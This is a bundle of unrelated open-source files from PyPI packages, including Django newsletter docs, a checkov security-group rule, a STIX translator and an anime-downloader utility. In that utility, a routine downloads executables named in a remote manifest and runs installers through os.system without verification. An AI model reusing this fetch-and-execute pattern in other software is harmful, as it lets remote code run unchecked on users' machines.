var c = array[ i + 2 ];
indices.push( a, b, b, c, c, a );
}
} else {
var array = geometryAttributes.position.array;
for ( var i = 0, l = ( array.length / 3 ) - 1; i < l; i += 3 ) {
var a = i + 0;
var b = i + 1;
var c = i + 2;
indices.push( a, b, b, c, c, a );
}
}
// console.timeEnd( 'wireframe' );
attribute = new ( arrayMax( indices ) > 65535 ? Uint32BufferAttribute : Uint16BufferAttribute )( indices, 1 );
attributes.update( attribute, gl.ELEMENT_ARRAY_BUFFER );
wireframeAttributes[ geometry.id ] = attribute;
return attribute;
}
return {
get: get,
update: update,
getWireframeAttribute: getWireframeAttribute
};
}
export { WebGLGeometries };
|
PypiClean
|
/elastool-1.0.31-py3-none-any.whl/find_spg.py
|
from read_input import indict
def findspg(atoms):
spg0 = spglib.get_spacegroup(atoms, symprec=0.1)
if spg0:
spg1 = spg0.split()
spg = [str(spg1[0]), int(spg1[1][1:-1])]
else:
spg = []
# print spg0, spg
return spg
def find_crystal_system(pos_conv, dimensional,tubestrain_type):
if dimensional == '1D':
# latt_system = 'any1D'
dist_acc = 0.1
lenth_angl = pos_conv.get_cell_lengths_and_angles()
a = lenth_angl[0]
b = lenth_angl[1]
c = lenth_angl[2]
if tubestrain_type == "Hydrostatic":
latt_system = 'Hydrostatic' #
elif tubestrain_type == "Generalized":
latt_system = 'Nanotube' # This is 1D embedded in 3D space
elif tubestrain_type == "Biaxial":
latt_system = 'Biaxial'
elif tubestrain_type == "Longitudinal":
latt_system = 'any1D'
elif tubestrain_type == "Radial":
latt_system = 'Radial'
else:
print('ERROR: Define appropriate nanotube structure!!!\n')
elif dimensional == '2D':
dist_acc = 0.1
angl_acc = 0.5
lenth_angl = pos_conv.get_cell_lengths_and_angles()
a = lenth_angl[0]
b = lenth_angl[1]
c = lenth_angl[2]
gamma = lenth_angl[5]
# The 2D lattice system is defined according to 2D Mater. 6 (2019)
# 048001
if c > a and c > b:
if abs(a - b) <= dist_acc:
if abs(
gamma -
120) <= angl_acc or abs(
gamma -
60) <= angl_acc: # The last part is for some 2D systems
latt_system = 'isotropy' # This is 2D Hexagonal system
elif abs(gamma - 90) <= angl_acc:
latt_system = 'tetragonal'
else:
if abs(gamma - 90) <= angl_acc:
latt_system = 'orthotropy'
else:
latt_system = 'anisotropy'
else:
print('ERROR: the vacuum is not along the c axis!!!\n')
print('Plz adjust the vacuum to be along the c axis!!!\n')
exit(1)
elif dimensional == '3D':
spg = findspg(pos_conv)
spg_num = spg[1]
crystal_system = [
[2, "Triclinic"],
[15, "Monoclinic"],
[74, "Orthorombic"],
[88, "Tetragonal2"],
[142, "Tetragonal1"],
[148, "Trigonal2"],
[167, "Trigonal1"],
[194, "Hexagonal"],
[230, "Cubic"]
]
for l in crystal_system:
if spg_num <= l[0]:
latt_system = l[1]
break
return latt_system
|
PypiClean
|
/msgraph-sdk-1.0.0a3.tar.gz/msgraph-sdk-1.0.0a3/msgraph/generated/education/users/item/assignments/item/resources/count/count_request_builder.py
|
from __future__ import annotations
from dataclasses import dataclass
from kiota_abstractions.get_path_parameters import get_path_parameters
from kiota_abstractions.method import Method
from kiota_abstractions.request_adapter import RequestAdapter
from kiota_abstractions.request_information import RequestInformation
from kiota_abstractions.request_option import RequestOption
from kiota_abstractions.response_handler import ResponseHandler
from kiota_abstractions.serialization import Parsable, ParsableFactory
from typing import Any, Callable, Dict, List, Optional, Union
from ........models.o_data_errors import o_data_error
class CountRequestBuilder():
"""
Provides operations to count the resources in the collection.
"""
def __init__(self,request_adapter: RequestAdapter, path_parameters: Optional[Union[Dict[str, Any], str]] = None) -> None:
"""
Instantiates a new CountRequestBuilder and sets the default values.
Args:
pathParameters: The raw url or the Url template parameters for the request.
requestAdapter: The request adapter to use to execute the requests.
"""
if path_parameters is None:
raise Exception("path_parameters cannot be undefined")
if request_adapter is None:
raise Exception("request_adapter cannot be undefined")
# Url template to use to build the URL for the current request builder
self.url_template: str = "{+baseurl}/education/users/{educationUser%2Did}/assignments/{educationAssignment%2Did}/resources/$count"
url_tpl_params = get_path_parameters(path_parameters)
self.path_parameters = url_tpl_params
self.request_adapter = request_adapter
def create_get_request_information(self,request_configuration: Optional[CountRequestBuilderGetRequestConfiguration] = None) -> RequestInformation:
"""
Get the number of the resource
Args:
requestConfiguration: Configuration for the request such as headers, query parameters, and middleware options.
Returns: RequestInformation
"""
request_info = RequestInformation()
request_info.url_template = self.url_template
request_info.path_parameters = self.path_parameters
request_info.http_method = Method.GET
request_info.headers["Accept"] = "text/plain"
if request_configuration:
request_info.add_request_headers(request_configuration.headers)
request_info.add_request_options(request_configuration.options)
return request_info
async def get(self,request_configuration: Optional[CountRequestBuilderGetRequestConfiguration] = None, response_handler: Optional[ResponseHandler] = None) -> Optional[int]:
"""
Get the number of the resource
Args:
requestConfiguration: Configuration for the request such as headers, query parameters, and middleware options.
responseHandler: Response handler to use in place of the default response handling provided by the core service
Returns: Optional[int]
"""
request_info = self.create_get_request_information(
request_configuration
)
error_mapping: Dict[str, ParsableFactory] = {
"4XX": o_data_error.ODataError,
"5XX": o_data_error.ODataError,
}
if not self.request_adapter:
raise Exception("Http core is null")
return await self.request_adapter.send_primitive_async(request_info, "int", response_handler, error_mapping)
@dataclass
class CountRequestBuilderGetRequestConfiguration():
"""
Configuration for the request such as headers, query parameters, and middleware options.
"""
# Request headers
headers: Optional[Dict[str, str]] = None
# Request options
options: Optional[List[RequestOption]] = None
|
PypiClean
|
/kestrel_lang-1.7.4-py3-none-any.whl/kestrel_datasource_stixshifter/worker/translator.py
|
import json
import logging
from typing import Optional
from multiprocessing import Process, Queue, current_process
from typeguard import typechecked
from stix_shifter.stix_translation import stix_translation
from stix_shifter_utils.stix_translation.src.utils.transformer_utils import (
get_module_transformers,
)
import firepit.aio.ingest
from kestrel_datasource_stixshifter.worker import STOP_SIGN
from kestrel_datasource_stixshifter.worker.utils import TranslationResult, WorkerLog
@typechecked
class Translator(Process):
def __init__(
self,
connector_name: str,
observation_metadata: dict,
translation_options: dict,
cache_data_path_prefix: Optional[str],
is_fast_translation: bool,
input_queue: Queue,
output_queue: Queue,
):
super().__init__()
self.connector_name = connector_name
self.observation_metadata = observation_metadata
self.translation_options = translation_options
self.cache_data_path_prefix = cache_data_path_prefix
self.is_fast_translation = is_fast_translation
self.input_queue = input_queue
self.output_queue = output_queue
def run(self):
worker_name = current_process().name
translation = stix_translation.StixTranslation()
for input_batch in iter(self.input_queue.get, STOP_SIGN):
if input_batch.success:
if self.is_fast_translation:
transformers = get_module_transformers(self.connector_name)
mapping = translation.translate(
self.connector_name,
stix_translation.MAPPING,
None,
None,
self.translation_options,
)
if "error" in mapping:
packet = TranslationResult(
worker_name,
False,
None,
WorkerLog(
logging.ERROR,
f"STIX-shifter mapping failed: {mapping['error']}",
),
)
else:
try:
dataframe = firepit.aio.ingest.translate(
mapping["to_stix_map"],
transformers,
input_batch.data,
self.observation_metadata,
)
except Exception as e:
packet = TranslationResult(
worker_name,
False,
None,
WorkerLog(
logging.ERROR,
f"firepit.aio.ingest.translate() failed with msg: {str(e)}",
),
)
else:
packet = TranslationResult(
worker_name,
True,
dataframe,
None,
)
if self.cache_data_path_prefix:
debug_df_filepath = self.get_cache_data_path(
input_batch.offset,
"parquet",
)
try:
dataframe.to_parquet(debug_df_filepath)
except Exception as e:
packet_extra = TranslationResult(
worker_name,
False,
None,
WorkerLog(
logging.ERROR,
f"STIX-shifter fast translation parquet write to disk failed: [{type(e).__name__}] {e}",
),
)
self.output_queue.put(packet_extra)
else:
stixbundle = translation.translate(
self.connector_name,
"results",
self.observation_metadata,
input_batch.data,
self.translation_options,
)
if "error" in stixbundle:
packet = TranslationResult(
worker_name,
False,
None,
WorkerLog(
logging.ERROR,
f"STIX-shifter translation to STIX failed: {stixbundle['error']}",
),
)
else:
packet = TranslationResult(
worker_name,
True,
stixbundle,
None,
)
if self.cache_data_path_prefix:
debug_stixbundle_filepath = self.get_cache_data_path(
input_batch.offset,
"json",
)
try:
with open(debug_stixbundle_filepath, "w") as bundle_fp:
json.dump(stixbundle, bundle_fp, indent=4)
except:
packet_extra = TranslationResult(
worker_name,
False,
None,
WorkerLog(
logging.ERROR,
f"STIX-shifter translation bundle write to disk failed",
),
)
self.output_queue.put(packet_extra)
else: # rely transmission error/info/debug message
packet = input_batch
self.output_queue.put(packet)
self.output_queue.put(STOP_SIGN)
def get_cache_data_path(self, offset, suffix):
offset = str(offset).zfill(32)
return f"{self.cache_data_path_prefix}_{offset}.{suffix}"
|
PypiClean
|
/boletin-0.5.1.tar.gz/boletin-0.5.1/README
|
.. contents::
================================
Boletin, a Django newsletter app
================================
Boletin is a generic newsletter application for Django projects, which allows
for automatically generating and sending newsletters, with optional human
reviewing process if so desired.
Boletin means "bulletin" or "newsletter" in Spanish.
Features
========
* Complete subscription/desubscription process, with confirmation emails.
* Completely decoupled, no need to modify your own code to use it, only
``settings.py`` and redefine templates as needed.
* Newsletters in HTML and plain text in the same email.
* Three different periods: daily, weekly and monthly newsletters, easily
configurable.
* Integrated with Django's admin.
* Optional reviewing process (in the admin).
* Cron scripts included.
* Unit tests included.
Installation
============
1. Include ``boletin`` in ``settings.INSTALLED_APPS``.
2. Create DB tables with ``python manage.py syncdb``.
3. Configure settings (see `Configuration`_ section).
4. Install cron scripts in the system's cron installation for automated
newsletter creation and (optionally) automated sending.
See "Cron configuration" below for more information.
Configuration
=============
You can configure many aspects of the behavior of the application via
settings variables. Mandatory variables are marked with (*).
NEWSLETTER_EMAIL (*)
--------------------
Email address from where to send the newsletter. Newsletter recipients
will see this address in the e-mail message "From" field.
Default: None, it's mandatory.
Example::
NEWSLETTER_EMAIL = '[email protected]'
NEWSLETTER_REVIEWER_EMAIL
-------------------------
Email address for the newsletter reviewer. When a newsletter is generated,
an e-mail will be sent to this address prompting to the revision of the
newsletter.
Default: None.
Example::
NEWSLETTER_REVIEWER_EMAIL = '[email protected]'
NEWSLETTER_REVIEWER_ADMIN_LINK
------------------------------
Relative URL suffix for newsletter objects in the admin application. The site
domain and the newsletter id will be, respectively, prepended and appended to
this string. This setting is optional; if not defined, the e-mail message to
the reviewer will not include a link to the admin application.
Default: None.
Example::
NEWSLETTER_REVIEWER_ADMIN_LINK = '/admin/boletin/newsletter/'
NEWSLETTER_GENERATOR_FUNCTION (*)
---------------------------------
This variable is a string pointing to a function inside the project which
will be responsible for retrieving content for inclusion in each newsletter.
The function must receive two parameters: ``from_date`` and ``to_date``, which define
the datetime range of the newsletter being created.
Default: None, it's mandatory.
Example::
NEWSLETTER_GENERATOR_FUNCTION = 'portal.newsletter.generate_content'
And the content of portal/newsletter.py::
from app1.models import FooModel
from app2.models import BarModel
def generate_content(from_date, to_date):
app1 = FooModel.objects.filter(date__gte=from_date, date__lte=to_date)
app2 = BarModel.objects.filter(date__gte=from_date, date__lte=to_date)
return {'app1': app1, 'app2': app2}
NEWSLETTER_PERIODS
------------------
Available newsletter periods in the project. It's a list with one or more of
'D' (daily), 'W' (weekly) and 'M' (monthly).
Default: ``['W']`` (only weekly newsletter)
Example::
NEWSLETTER_PERIODS = ['D', 'W', 'M'] # daily, weekly and monthly newsletters
Management commands
===================
Three management commands are included:
* ``createnewsletter``
* ``sendnewsletter``
* ``shownewsletter``
Createnewsletter
----------------
Generate a new newsletter for the given period (daily, weekly or monthly), both
in HTML and plain text. It renders the `templates`_ ``newsletter_email.html``
and ``newsletter_email.txt``.
Options:
* ``-d``, ``--daily``: daily period.
* ``-w``, ``--weekly``: weekly period.
* ``-m``, ``--monthly``: monthly period.
* ``-p``, ``--print``: print the created newsletter to stdout.
* ``-r``, ``--regenerate``: create the newsletter again if it already exists.
One and only one of ``-d``, ``-w`` or ``-m`` must be given.
Sendnewsletter
--------------
Send newsletters to subscribers.
Options:
* ``-n``, ``--newsletter``: send only the newsletter with the given ID.
* ``-f``, ``--force-unreviewed``: send unreviewed newsletters.
Without parameters all **reviewed** newsletters with pending sendings are
sent. Use the ``-f`` switch to send unreviewed newsletters (useful for a
completely automatic newsletter system). Use the ``-n`` switch to send an
specific newsletter. The `shownewsletters`_ command should be useful to see
created newsletters, their IDs and pending statuses.
Shownewsletters
---------------
Show stored newsletters, with their object ID (*different than their newsletter
number*) and pending status.
Options:
* ``-p``, ``--only-pending``: show only newsletters with pending sendings.
Templates
=========
Default templates are provided for the subscription and unsubscription process,
but you should redefine at least ``newsletter_email.txt`` and
``newsletter_email.html``. You can redefine any template creating a newsletter
dir inside your templates directory, copying the app template inside it and
changing that copy.
The available templates are:
* ``newsletter_base.html``: base template for the subscription and
unsubscription process, except email templates.
* ``newsletter_confirm_email.txt``: email template for confirming subscription.
* ``newsletter_confirm.html``: page telling the user the subscription
confirmation email has been sent to her email address.
* ``newsletter_email.html``: email template of a newsletter in email format.
You should redefine this depending on the context returned by the
``NEWSLETTER_GENERATOR_FUNCTION``.
* ``newsletter_email.txt``: same as newsletter_email.html, but in plain text.
* ``newsletter.html``: subscription/unsubscription form.
* ``newsletter_success.html``: subscription success page.
* ``newsletter_unsubscription_confirm_email.txt``: same as
newsletter_confirm_email, but for unsubscription.
* ``newsletter_unsubscription_confirm.html``: same as newsletter_confirm,
but for unsubscription.
* ``newsletter_unsubscription_success.html``: same as newsletter_success,
but for unsubscription.
Cron configuration
==================
There are several crontab files inside the ``cron`` directory that you can
simply include in your system-wide cron configuration to have automatic
newsletter creation and/or sending. The ``createnewsletter`` and
``sendnewsletter`` commands are smart enough to ignore petitions for unallowed
periods (i.e. not configured in `NEWSLETTER_PERIODS`_).
Development
===========
You can get the last bleeding edge version of boletin by doing a checkout of
trunk in its subversion repository::
svn checkout https://svnpub.yaco.es/djangoapps/boletin/trunk boletin
Bug reports, patches and suggestions are more than welcome. Just put
them in our Trac system and use the 'boletin' component when you fill
tickets::
https://tracpub.yaco.es/djangoapps/
|
PypiClean
|
/checkov3-0.1.13.tar.gz/checkov3-0.1.13/checkov/terraform/checks/resource/aws/AbsSecurityGroupUnrestrictedIngress.py
|
from __future__ import annotations
from typing import Any
from checkov.common.models.enums import CheckResult, CheckCategories
from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck
from checkov.common.util.type_forcers import force_list
from checkov.common.util.type_forcers import force_int
class AbsSecurityGroupUnrestrictedIngress(BaseResourceCheck):
def __init__(self, check_id: str, port: int) -> None:
name = f"Ensure no security groups allow ingress from 0.0.0.0:0 to port {port}"
supported_resources = ('aws_security_group', 'aws_security_group_rule', 'aws_vpc_security_group_ingress_rule')
categories = (CheckCategories.NETWORKING,)
super().__init__(name=name, id=check_id, categories=categories, supported_resources=supported_resources)
self.port = port
def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:
"""
Looks for configuration at security group ingress rules :
https://www.terraform.io/docs/providers/aws/r/security_group.html
https://www.terraform.io/docs/providers/aws/r/security_group_rule.html
Return PASS if:
- The resource is an aws_security_group that contains no violating ingress rules (including if there are no
ingress rules at all), OR
- The resource is an aws_security_group_rule of type 'ingress' that does not violate the check.
Return FAIL if:
- The resource is an aws_security_group that contains a violating ingress rule, OR
- The resource is an aws_security_group_rule of type 'ingress' that violates the check.
Return UNKNOWN if:
- the resource is an aws_security_group_rule of type 'egress', OR
:param conf: aws_security_group configuration
:return: <CheckResult>
"""
if 'ingress' in conf: # This means it's an SG resource with ingress block(s)
ingress_conf = conf['ingress']
for ingress_rule in ingress_conf:
for rule in force_list(ingress_rule):
if isinstance(rule, dict):
if self.check_self(rule):
return CheckResult.PASSED
if self.contains_violation(rule):
self.evaluated_keys = [
f'ingress/[{ingress_conf.index(ingress_rule)}]/from_port',
f'ingress/[{ingress_conf.index(ingress_rule)}]/to_port',
f'ingress/[{ingress_conf.index(ingress_rule)}]/cidr_blocks',
f'ingress/[{ingress_conf.index(ingress_rule)}]/ipv6_cidr_blocks',
]
return CheckResult.FAILED
return CheckResult.PASSED
if 'type' in conf: # This means it's an SG_rule resource.
type = force_list(conf['type'])[0]
if type == 'ingress':
if self.check_self(conf):
return CheckResult.PASSED
self.evaluated_keys = ['from_port', 'to_port', 'cidr_blocks', 'ipv6_cidr_blocks']
if self.contains_violation(conf):
return CheckResult.FAILED
return CheckResult.PASSED
return CheckResult.UNKNOWN
else:
self.evaluated_keys = ['from_port', 'to_port', 'cidr_ipv4', 'cidr_ipv6']
if 'from_port' in conf or 'to_port' in conf:
if self.contains_violation(conf):
return CheckResult.FAILED
return CheckResult.PASSED
return CheckResult.PASSED
def contains_violation(self, conf: dict[str, list[Any]]) -> bool:
from_port = force_int(force_list(conf.get('from_port', [{-1}]))[0])
to_port = force_int(force_list(conf.get('to_port', [{-1}]))[0])
protocol = force_list(conf.get('protocol', [None]))[0]
if from_port == 0 and to_port == 0:
to_port = 65535
if from_port is not None and to_port is not None and (from_port <= self.port <= to_port) or (
protocol == '-1' and from_port == 0 and to_port == 65535):
if conf.get('cidr_blocks'):
conf_cidr_blocks = conf.get('cidr_blocks', [[]])
else:
conf_cidr_blocks = conf.get('cidr_ipv4', [[]])
if conf_cidr_blocks and len(conf_cidr_blocks) > 0:
conf_cidr_blocks = conf_cidr_blocks[0]
cidr_blocks = force_list(conf_cidr_blocks)
if "0.0.0.0/0" in cidr_blocks:
return True
if conf.get('ipv6_cidr_blocks'):
ipv6_cidr_blocks = conf.get('ipv6_cidr_blocks', [])
else:
ipv6_cidr_blocks = conf.get('cidr_ipv6', [])
if ipv6_cidr_blocks and ipv6_cidr_blocks[0] is not None and \
any(ip in ['::/0', '0000:0000:0000:0000:0000:0000:0000:0000/0'] for ip in ipv6_cidr_blocks[0]):
return True
if not ipv6_cidr_blocks and not cidr_blocks \
and conf.get('security_groups') is None \
and conf.get('source_security_group_id') is None:
return True
return False
def check_self(self, conf: dict[str, list[Any]]) -> bool:
if conf.get('self'):
limit = force_list(conf['self'])[0]
if limit:
return True
return False
|
PypiClean
|
/CherryPy-18.8.0.tar.gz/CherryPy-18.8.0/docs/contribute.rst
|
Contribute
----------
CherryPy is a community-maintained, open-source project hosted at Github.
The project actively encourages aspiring and experienced users to dive
in and add their best contribution to the project.
How can you contribute? Well, first search the `docs
<https://docs.cherrypy.dev>`_ and the `project page
<https://github.com/cherrypy/cherrypy>`_ to see if someone
has already reported your issue.
StackOverflow
=============
On `StackOverflow <https://stackoverflow.com>`_, there are questions
tagged with 'cherrypy'. Answer unanswered questions, add an improved
answer, clarify an answer with a comment, or ask more meaningful
questions there. Earn reputation and share experience.
Filing Bug Reports
==================
If you find a bug, an issue where the product doesn't behave as you
expect, you may file a bug report at `the project page
<https://github.com/cherrypy/cherrypy>`_. Be sure to include
what your expectation was, what happened instead, details about
your system that might be relevant, and steps that someone else
could take to replicate your finding. The more detailed and exact
your description, the better one of the volunteers on the project may
be able to help resolve your issue.
Fixing Bugs
===========
CherryPy has a number of open, reported `issues
<https://github.com/cherrypy/cherrypy/issues>`_. Some of them are
complicated and difficult, but others are more straightforward and
shovel-ready. Feel free to find one that you think you can solve or
introduce yourself and ask for guidance in `our gitter channel
<https://gitter.im/cherrypy/cherrypy>`_.
As you work through the issue and commit changes to your clone
of the repository, be sure to add issue references to your changes
(like "Fixes #999" or "Ref #999") so your changes link to the
issue and vice-versa.
Writing Pull Requests
=====================
To contribute, first read `How to write the perfect pull request
<http://blog.jaraco.com/how-to-write-perfect-pull-request/>`_
and file your contribution with the `CherryPy Project page
<https://github.com/cherrypy/cherrypy>`_.
|
PypiClean
|
/turkanime_cli-7.1.3.tar.gz/turkanime_cli-7.1.3/turkanime_api/dosyalar.py
|
from os import path,mkdir,replace,rename,remove,system,getcwd
from struct import calcsize
from configparser import ConfigParser
import json
from zipfile import ZipFile
from concurrent.futures import ThreadPoolExecutor
from urllib.request import urlopen
import signal
from shutil import rmtree
from functools import partial
import requests
from py7zr import SevenZipFile
from rich.progress import (
Event,
Progress,
TextColumn,
BarColumn,
DownloadColumn,
TransferSpeedColumn,TimeRemainingColumn
)
class DosyaManager():
""" Yazılımın konfigürasyon ve indirilenler klasörünü yönet
- Windows'ta varsayılan dizin: Belgelerim/TurkAnimu
- Linux'ta varsayılan dizin: /home/$USER/TurkAnimu
"""
def __init__(self):
if path.isdir(".git"): # Git reposundan çalıştırıldığında.
self.ROOT = getcwd()
else: # Pip modülü veya Exe olarak çalıştırıldığında.
self.ROOT = path.join(path.expanduser("~"), "TurkAnimu" )
# default ayarlar
self.default = {
"manuel fansub" : "False",
"izlerken kaydet" : "False",
"indirilenler" : ".",
"izlendi ikonu" : "True",
"aynı anda indirme sayısı" : "3",
}
self.ayar_path = path.join(self.ROOT, "ayarlar.ini")
self.gecmis_path = path.join(self.ROOT, "gecmis.json")
self.verify_dosyalar()
self.ayar = ConfigParser()
self.ayar.read(self.ayar_path)
def tazele(self):
self.ayar = ConfigParser()
self.ayar.read(self.ayar_path)
def save_ayarlar(self):
with open(self.ayar_path,"w") as f:
self.ayar.write(f)
self.tazele()
def verify_dosyalar(self):
""" Config dosyasını güncelle & yoksa yarat. """
if not path.isdir(".git"):
if not path.isdir(self.ROOT):
mkdir(self.ROOT)
# Eski sürüme ait config dosyasını yeni ana dizine taşı
olds = ["TurkAnime.ini",path.join("TurkAnimu","TurkAnime.ini"),"config.ini"]
for old in olds:
old = path.join(path.expanduser("~"),old)
if path.isfile(old):
replace(old,self.ayar_path)
if not path.isfile(self.ayar_path):
new = "[TurkAnime]\n"
for key,val in self.default.items():
new += f"{key} = {val}\n"
with open(self.ayar_path,"w") as f:
f.write(new)
else:
# Önceki sürümlere ait config'e yeni ayarları ekle
cfg = ConfigParser()
cfg.read(self.ayar_path)
for key,val in self.default.items():
if key in cfg.options("TurkAnime"):
continue
cfg.set('TurkAnime',key,val)
with open(self.ayar_path,"w") as f:
cfg.write(f)
if not path.isfile(self.gecmis_path):
with open(self.gecmis_path,"w") as f:
f.write('{"izlendi":{},"indirildi":{}}\n')
def update_gecmis(self,seri,bolum,islem):
with open(self.gecmis_path,"r") as f:
gecmis = json.load(f)
if not seri in gecmis[islem]:
gecmis[islem][seri] = []
if bolum in gecmis[islem][seri]:
return
gecmis[islem][seri].append(bolum)
with open(self.gecmis_path,"w") as f:
json.dump(gecmis,f,indent=2)
class DownloadGereksinimler():
""" Gereksinimleri indirir, arşivden çıkarır ve gerekirse kurar. """
def __init__(self,bulunmayan=[]):
self.done_event = Event()
signal.signal(signal.SIGINT, lambda s,f:self.done_event.set())
self.prog = Progress(
TextColumn("[bold blue]{task.fields[filename]}", justify="right"),
BarColumn(bar_width=None),"[self.prog.percentage]{task.percentage:>3.1f}%",
"•",DownloadColumn(),"•",TransferSpeedColumn(),"•",TimeRemainingColumn()
)
self.status = True
self.dosya = DosyaManager()
self.bulunmayan=bulunmayan
self.fetch_gereksinim()
def fetch_gereksinim(self):
""" Parse gereksinimler.json """
if path.isfile("gereksinimler.json"):
with open("gereksinimler.json") as f:
gereksinimler = json.load(f)
else:
base_url="https://raw.githubusercontent.com/KebabLord/turkanime-indirici/master/gereksinimler.json"
gereksinimler = json.loads(requests.get(base_url).text)
arch = calcsize("P")*8
for file in gereksinimler:
if not file["name"] in self.bulunmayan:
continue
url = file["url_x32"] if "url_x32" in file and arch == 32 else file["url"]
output = url.split("/")[-1]
if not path.isfile(output):
self.download(url,".")
if not self.status:
self.prog.stop()
self.prog.console.log(
"\n\nSiteye ulaşılamıyor: https://"+file["url"].split("/")[2]+
"\nGereksinimleri manuel olarak kurmak için klavuz.html'i oku.")
exit(1)
if file["type"] == "7z":
szip = SevenZipFile(output,mode='r')
szip.extractall(path="tmp_"+file["name"])
szip.close()
rename(
path.join("tmp_"+file["name"],file["name"]+".exe"),
path.join(self.dosya.ROOT,file["name"]+".exe")
)
rmtree("tmp_"+file["name"],ignore_errors=True)
remove(output)
if file["type"] == "zip":
with ZipFile(output, 'r') as zipf:
zipf.extractall("tmp_"+file["name"])
rename(
path.join("tmp_"+file["name"],file["name"]+".exe"),
path.join(self.dosya.ROOT,file["name"]+".exe")
)
rmtree("tmp_"+file["name"],ignore_errors=True)
remove(output)
if file["type"] == "exe":
if file["is_setup"]:
system(output)
else:
replace(output,path.join(self.dosya.ROOT,file["name"]+".exe"))
def copy_url(self, task_id, url, dlpath):
"""Copy data from a url to a local file."""
self.prog.console.log(f"İndiriliyor {url.split('/')[-1]}")
try:
response = urlopen(url)
except Exception as err:
self.prog.console.log("HATA:",str(err))
self.status=False
return
try:
# This will break if the response doesn't contain content length
self.prog.update(task_id, total=int(response.info()["Content-length"]))
with open(dlpath, "wb") as dest_file:
self.prog.start_task(task_id)
for data in iter(partial(response.read, 32768), b""):
dest_file.write(data)
self.prog.update(task_id, advance=len(data))
if self.done_event.is_set():
print("Başarısız")
return
except Exception as err:
self.prog.console.log("HATA:",str(err))
self.status=False
return
self.prog.console.log(f"İndirildi: {dlpath}")
def download(self, urls, dest_dir):
"""Birden fazla url'yi hedef dosyaya indir."""
urls = [urls] if not isinstance(urls,list) else urls
with self.prog:
with ThreadPoolExecutor(max_workers=3) as pool:
for url in urls:
filename = url.split("/")[-1]
dest_path = path.join(dest_dir, filename)
task_id = self.prog.add_task("download", filename=filename, start=False)
pool.submit(self.copy_url, task_id, url, dest_path)
|
PypiClean
|
/flask-peewee-swagger-1.1.5.tar.gz/flask-peewee-swagger-1.1.5/flask_peewee_swagger/static/swagger-ui-2.2.10/lib/backbone-min.js
|
!function(t,e){if("function"==typeof define&&define.amd)define(["underscore","jquery","exports"],function(i,n,s){t.Backbone=e(t,s,i,n)});else if("undefined"!=typeof exports){var i=require("underscore");e(t,exports,i)}else t.Backbone=e(t,{},t._,t.jQuery||t.Zepto||t.ender||t.$)}(this,function(t,e,i,n){var s=t.Backbone,r=[],a=(r.push,r.slice);r.splice;e.VERSION="1.1.2",e.$=n,e.noConflict=function(){return t.Backbone=s,this},e.emulateHTTP=!1,e.emulateJSON=!1;var o=e.Events={on:function(t,e,i){if(!c(this,"on",t,[e,i])||!e)return this;this._events||(this._events={});var n=this._events[t]||(this._events[t]=[]);return n.push({callback:e,context:i,ctx:i||this}),this},once:function(t,e,n){if(!c(this,"once",t,[e,n])||!e)return this;var s=this,r=i.once(function(){s.off(t,r),e.apply(this,arguments)});return r._callback=e,this.on(t,r,n)},off:function(t,e,n){var s,r,a,o,h,u,l,d;if(!this._events||!c(this,"off",t,[e,n]))return this;if(!t&&!e&&!n)return this._events=void 0,this;for(o=t?[t]:i.keys(this._events),h=0,u=o.length;h<u;h++)if(t=o[h],a=this._events[t]){if(this._events[t]=s=[],e||n)for(l=0,d=a.length;l<d;l++)r=a[l],(e&&e!==r.callback&&e!==r.callback._callback||n&&n!==r.context)&&s.push(r);s.length||delete this._events[t]}return this},trigger:function(t){if(!this._events)return this;var e=a.call(arguments,1);if(!c(this,"trigger",t,e))return this;var i=this._events[t],n=this._events.all;return i&&u(i,e),n&&u(n,arguments),this},stopListening:function(t,e,n){var s=this._listeningTo;if(!s)return this;var r=!e&&!n;n||"object"!=typeof e||(n=this),t&&((s={})[t._listenId]=t);for(var a in s)t=s[a],t.off(e,n,this),(r||i.isEmpty(t._events))&&delete this._listeningTo[a];return this}},h=/\s+/,c=function(t,e,i,n){if(!i)return!0;if("object"==typeof i){for(var s in i)t[e].apply(t,[s,i[s]].concat(n));return!1}if(h.test(i)){for(var r=i.split(h),a=0,o=r.length;a<o;a++)t[e].apply(t,[r[a]].concat(n));return!1}return!0},u=function(t,e){var i,n=-1,s=t.length,r=e[0],a=e[1],o=e[2];switch(e.length){case 0:for(;++n<s;)(i=t[n]).callback.call(i.ctx);return;case 1:for(;++n<s;)(i=t[n]).callback.call(i.ctx,r);return;case 2:for(;++n<s;)(i=t[n]).callback.call(i.ctx,r,a);return;case 3:for(;++n<s;)(i=t[n]).callback.call(i.ctx,r,a,o);return;default:for(;++n<s;)(i=t[n]).callback.apply(i.ctx,e);return}},l={listenTo:"on",listenToOnce:"once"};i.each(l,function(t,e){o[e]=function(e,n,s){var r=this._listeningTo||(this._listeningTo={}),a=e._listenId||(e._listenId=i.uniqueId("l"));return r[a]=e,s||"object"!=typeof n||(s=this),e[t](n,s,this),this}}),o.bind=o.on,o.unbind=o.off,i.extend(e,o);var d=e.Model=function(t,e){var n=t||{};e||(e={}),this.cid=i.uniqueId("c"),this.attributes={},e.collection&&(this.collection=e.collection),e.parse&&(n=this.parse(n,e)||{}),n=i.defaults({},n,i.result(this,"defaults")),this.set(n,e),this.changed={},this.initialize.apply(this,arguments)};i.extend(d.prototype,o,{changed:null,validationError:null,idAttribute:"id",initialize:function(){},toJSON:function(t){return i.clone(this.attributes)},sync:function(){return e.sync.apply(this,arguments)},get:function(t){return this.attributes[t]},escape:function(t){return i.escape(this.get(t))},has:function(t){return null!=this.get(t)},set:function(t,e,n){var s,r,a,o,h,c,u,l;if(null==t)return this;if("object"==typeof t?(r=t,n=e):(r={})[t]=e,n||(n={}),!this._validate(r,n))return!1;a=n.unset,h=n.silent,o=[],c=this._changing,this._changing=!0,c||(this._previousAttributes=i.clone(this.attributes),this.changed={}),l=this.attributes,u=this._previousAttributes,this.idAttribute in r&&(this.id=r[this.idAttribute]);for(s in r)e=r[s],i.isEqual(l[s],e)||o.push(s),i.isEqual(u[s],e)?delete this.changed[s]:this.changed[s]=e,a?delete l[s]:l[s]=e;if(!h){o.length&&(this._pending=n);for(var d=0,f=o.length;d<f;d++)this.trigger("change:"+o[d],this,l[o[d]],n)}if(c)return this;if(!h)for(;this._pending;)n=this._pending,this._pending=!1,this.trigger("change",this,n);return this._pending=!1,this._changing=!1,this},unset:function(t,e){return this.set(t,void 0,i.extend({},e,{unset:!0}))},clear:function(t){var e={};for(var n in this.attributes)e[n]=void 0;return this.set(e,i.extend({},t,{unset:!0}))},hasChanged:function(t){return 